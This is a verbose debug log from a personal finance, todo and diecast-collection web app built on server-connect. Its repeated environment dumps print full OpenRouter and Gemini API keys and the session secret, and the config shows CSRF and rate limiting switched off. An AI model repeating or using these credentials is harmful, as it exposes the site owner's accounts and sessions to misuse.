2026-06-05T07:32:44.123Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T07:32:44.123Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T07:32:44.123Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T07:32:44.124Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T07:32:44.124Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T07:32:44.124Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T07:32:44.125Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T07:32:44.125Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T07:32:44.126Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T07:32:44.126Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T07:32:44.126Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T07:32:44.126Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T07:32:44.126Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T07:32:44.127Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T07:32:44.127Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T07:32:44.127Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T07:32:44.127Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T07:32:44.128Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T07:32:44.128Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T07:32:44.128Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T07:32:44.128Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T07:32:44.128Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T07:32:44.129Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T07:32:44.246Z server-connect:router Serving templateView /
2026-06-05T07:32:44.250Z server-connect:app Executing action step identify
2026-06-05T07:32:44.250Z server-connect:app options: { provider: 'security' }
2026-06-05T07:32:44.252Z server-connect:auth No login cookie found
2026-06-05T07:32:44.252Z server-connect:output identity: false
2026-06-05T07:32:44.252Z server-connect:app Executing action step restrict
2026-06-05T07:32:44.253Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T07:32:44.256Z server-connect:output restrict: undefined
2026-06-05T07:32:44.412Z server-connect:router Serving templateView /login
2026-06-05T07:32:44.412Z server-connect:app Executing action step identify
2026-06-05T07:32:44.412Z server-connect:app options: { provider: 'security' }
2026-06-05T07:32:44.412Z server-connect:auth No login cookie found
2026-06-05T07:32:44.412Z server-connect:output identity: false
2026-06-05T07:32:44.412Z server-connect:router Render template layouts/authentication
2026-06-05T07:32:44.413Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'sec-fetch-user': '?1',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-mode': 'navigate',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'sec-ch-ua-platform': '"Linux"',
    'sec-fetch-dest': 'document',
    'sec-fetch-site': 'none',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '216.251.143.109',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-06T07:32:44.410Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '216.251.143.109',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-SITE': 'none',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '216.251.143.109',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-05T07:32:44.949Z server-connect:router Serving templateView /login
2026-06-05T07:32:44.949Z server-connect:app Executing action step identify
2026-06-05T07:32:44.949Z server-connect:app options: { provider: 'security' }
2026-06-05T07:32:44.949Z server-connect:auth No login cookie found
2026-06-05T07:32:44.949Z server-connect:output identity: false
2026-06-05T07:32:44.949Z server-connect:router Render template layouts/authentication
2026-06-05T07:32:44.949Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    priority: 'u=0, i',
    'x-forwarded-for': '216.251.143.109',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-06T07:32:44.948Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '216.251.143.109',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '216.251.143.109',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-05T08:46:43.882Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T08:46:44.037Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T08:46:44.124Z server-connect:setup:upload Upload middleware configured.
2026-06-05T08:46:44.125Z server-connect:secure CSRF Protection initialized
2026-06-05T08:46:44.126Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T08:46:44.128Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T08:46:44.128Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T08:46:44.129Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T08:46:44.130Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T08:46:44.130Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T08:46:44.131Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T08:46:44.132Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T08:46:44.134Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T08:46:44.135Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T08:46:44.135Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T08:46:44.136Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T08:46:44.136Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T08:46:44.136Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T08:46:44.137Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T08:46:44.137Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T08:46:44.137Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T08:46:44.138Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T08:46:44.138Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T08:46:44.138Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T08:46:44.139Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T08:46:44.139Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T08:46:44.139Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T08:46:44.140Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T08:46:44.140Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T08:46:44.140Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T08:46:44.140Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T08:46:44.141Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T08:46:44.141Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T08:46:44.141Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T08:46:44.141Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T08:46:44.142Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T08:46:44.142Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T08:46:44.176Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T08:46:44.177Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T08:46:44.177Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T08:46:44.177Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T08:46:44.177Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T08:46:44.248Z server-connect:router Serving templateView /
2026-06-05T08:46:44.252Z server-connect:app Executing action step identify
2026-06-05T08:46:44.252Z server-connect:app options: { provider: 'security' }
2026-06-05T08:46:44.254Z server-connect:auth No login cookie found
2026-06-05T08:46:44.254Z server-connect:output identity: false
2026-06-05T08:46:44.254Z server-connect:app Executing action step restrict
2026-06-05T08:46:44.254Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T08:46:44.258Z server-connect:output restrict: undefined
2026-06-05T08:46:48.932Z server-connect:router Serving templateView /login
2026-06-05T08:46:48.933Z server-connect:app Executing action step identify
2026-06-05T08:46:48.933Z server-connect:app options: { provider: 'security' }
2026-06-05T08:46:48.933Z server-connect:auth No login cookie found
2026-06-05T08:46:48.933Z server-connect:output identity: false
2026-06-05T08:46:48.933Z server-connect:router Render template layouts/authentication
2026-06-05T08:46:48.934Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'id-ID,id;q=0.9,en;q=0.8',
    'upgrade-insecure-requests': '1',
    'cache-control': 'max-age=0',
    'x-forwarded-for': '136.110.26.197',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-06T08:46:48.931Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '136.110.26.197',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'id-ID,id;q=0.9,en;q=0.8',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_X_FORWARDED-FOR': '136.110.26.197',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-05T11:21:56.370Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T11:21:56.551Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T11:21:56.634Z server-connect:setup:upload Upload middleware configured.
2026-06-05T11:21:56.634Z server-connect:secure CSRF Protection initialized
2026-06-05T11:21:56.636Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T11:21:56.638Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T11:21:56.638Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T11:21:56.639Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T11:21:56.639Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T11:21:56.640Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T11:21:56.641Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T11:21:56.642Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T11:21:56.644Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T11:21:56.645Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T11:21:56.645Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T11:21:56.645Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T11:21:56.646Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T11:21:56.646Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T11:21:56.647Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T11:21:56.647Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T11:21:56.647Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T11:21:56.648Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T11:21:56.676Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T11:21:56.676Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T11:21:56.677Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T11:21:56.677Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T11:21:56.678Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T11:21:56.678Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T11:21:56.678Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T11:21:56.678Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T11:21:56.678Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T11:21:56.679Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T11:21:56.679Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T11:21:56.679Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T11:21:56.679Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T11:21:56.680Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T11:21:56.680Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T11:21:56.680Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T11:21:56.680Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T11:21:56.680Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T11:21:56.681Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T11:21:56.681Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T11:21:56.755Z server-connect:router Serving templateView /
2026-06-05T11:21:56.759Z server-connect:app Executing action step identify
2026-06-05T11:21:56.759Z server-connect:app options: { provider: 'security' }
2026-06-05T11:21:56.761Z server-connect:auth No login cookie found
2026-06-05T11:21:56.761Z server-connect:output identity: false
2026-06-05T11:21:56.761Z server-connect:app Executing action step restrict
2026-06-05T11:21:56.761Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T11:21:56.765Z server-connect:output restrict: undefined
2026-06-05T11:21:56.796Z server-connect:router Serving templateView /login
2026-06-05T11:21:56.797Z server-connect:app Executing action step identify
2026-06-05T11:21:56.797Z server-connect:app options: { provider: 'security' }
2026-06-05T11:21:56.797Z server-connect:auth No login cookie found
2026-06-05T11:21:56.797Z server-connect:output identity: false
2026-06-05T11:21:56.797Z server-connect:router Render template layouts/authentication
2026-06-05T11:21:56.798Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.1',
    accept: 'text/html,application/xhtml+xml',
    'accept-language': 'en-US',
    'cache-control': 'no-cache',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '178.73.235.125',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-06T11:21:56.794Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '178.73.235.125',
    REQUEST_PROTOCOL: 'https',
